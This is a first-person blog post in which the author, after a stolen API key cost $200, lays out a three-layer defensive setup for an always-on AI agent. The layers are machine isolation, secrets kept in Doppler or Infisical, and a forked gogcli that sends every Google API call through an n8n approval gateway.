I got hacked.

Installed what I thought was a legit package off Antigravity (two days after it came out), woke up to a $200 bill from a stolen API key. I use arch, btw. That was the moment I stopped following tutorials that only show you how to click things - and started thinking about actual security architecture for my AI agents.

This is what I built. Three layers. And then one extra thing I'm shipping as open source that nobody else is talking about.

Why a 24/7 AI Assistant Is a Different Kind of Risk

When you run something like OpenClaw, you're not running a script. You're running a persistent agent that has access to your accounts, your emails, your files - and it's running while you sleep.

That's three risk categories most people don't think about:

1. The machine itself. If the host is compromised, everything on it is. You need to make it safe (all the linux dudes tutorials about loopback, vpns, vps, etc).
2. Your ENV variables. This is where most people are dangerously wrong. API keys sitting in .env files, openclaw config file or shell history — it's everywhere. It's a disaster waiting to happen. The agent can see the tokens.
3. The agent's reach. Even if the machine is locked and the keys are safe, if the agent holds the token, the agent can do everything the token allows. That's too much trust.

The Three-Layer System

Layer 1 — Machine Isolation

Not the exciting part, but you can't skip it. Your agent machine should be treated like a server: minimal software, no shared accounts, no random packages installed.

Encrypt the system its on. Use a separate machine then your daily driver.
Use tailscale. loopback to the machine only. disable root login. Use ssh only for remote access.

Which brings me to something I need to be straight with you about.

ClawHub is roughly 10% malware. The OpenClaw skill ecosystem is a wild west right now and most people don't realize it. Audit (meaning read it yourself) everything you install. Treat third-party skills like a random npm package from a stranger — because that's exactly what they are.

Layer 2 — Secret Vaults, Not ENV Files

Your API keys should never live on the machine in plain text. Two tools you can use:

• Doppler — managed secrets, syncs to your runtime, keys never touch disk in plain text
• Infisical — open-source alternative if you want to self-host

I bet there are more.

WHY THIS IS IMPORTANT: the agent gets credentials injected at runtime from the vault (ON RAM ONLY). It never sees the raw keys (it can still if it really tries to). But, If the machine gets compromised, the attacker gets nothing useful.

Also I suggest yoo to route everything you can through LiteLLM as a proxy layer means even your LLM API keys stay away from the agent. in LiteLLM you can make a fixed budget so even if someone steals you key they have a limit on how much money they can spend (you can't do that in the google console for example).

Layer 3 (System 2) - Human-in-the-Loop for whats important

This is the one nobody's covering.

The problem isn't just where your keys live. It's that once an agent has a token, it can do everything that token allows. Prompt injection, a bad skill, a hallucination - any of them could trigger a destructive action.

The solution: don't give the agent the token at all. Route every sensitive API call through a gateway you control. The agent sends the request to your gateway. The gateway applies your rules, optionally asks for your approval, then executes.

I built this entire pattern on top of gogcli and n8n. Every google action - sending emails, writing to Drive, making calendar changes - goes through an n8n workflow. I can require approval before it runs. I can block specific actions entirely. I can audit everything.

Even if the agent gets prompt-injected, the attacker still hits my policy layer. The token alone is no longer enough.

gogcli-gateway: The Open Source Piece

While I was building this, I kept running into the same problem with Google Workspace specifically. The standard CLI tool (gogcli) gives agents direct access to Google APIs. Useful — but the agent holds the OAuth token, and the OAuth token can do everything.

So I forked it.

gogcli-gateway inserts a control layer between the CLI and Google APIs. One env variable:

export GOG_WEBHOOK_URL=https://your-n8n/webhook/google-api-proxy
gog gmail search 'newer_than:7d'

When that variable is set:

• No OAuth token on the local machine
• Every Google API request goes to your webhook
• Your gateway authenticates, applies rules, optionally requires your approval, then executes

The CLI interface is identical to upstream. Same commands, same flags, same JSON output. The only thing that changes is where trust lives.

What you get at the gateway layer:

The fork adds one custom HTTP transport layer and an early return in client.go. That's it. Upstream merges stay clean.

This isn't magic security. You still need proper gateway hosting, proper secret storage, and sensible policy logic. What gogcli-gateway does is insert the enforcement boundary - the thing you build your rules on top of.

Make sure you use a different machine to host the gateway. Agents are too capable nowadays.

The Full Architecture

Agent (OpenClaw)
  ↓
LiteLLM (model proxy, API key isolation)
  ↓
n8n (automation layer, HITL approvals)
  ↓
gogcli-gateway (Google API enforcement layer)
  ↓
Google APIs

Nothing gets through without passing a checkpoint. The agent never holds a production credential. Every write operation is auditable. Destructive actions can be blocked or gated behind human approval.

That's what I wish someone had explained to me before I got hacked.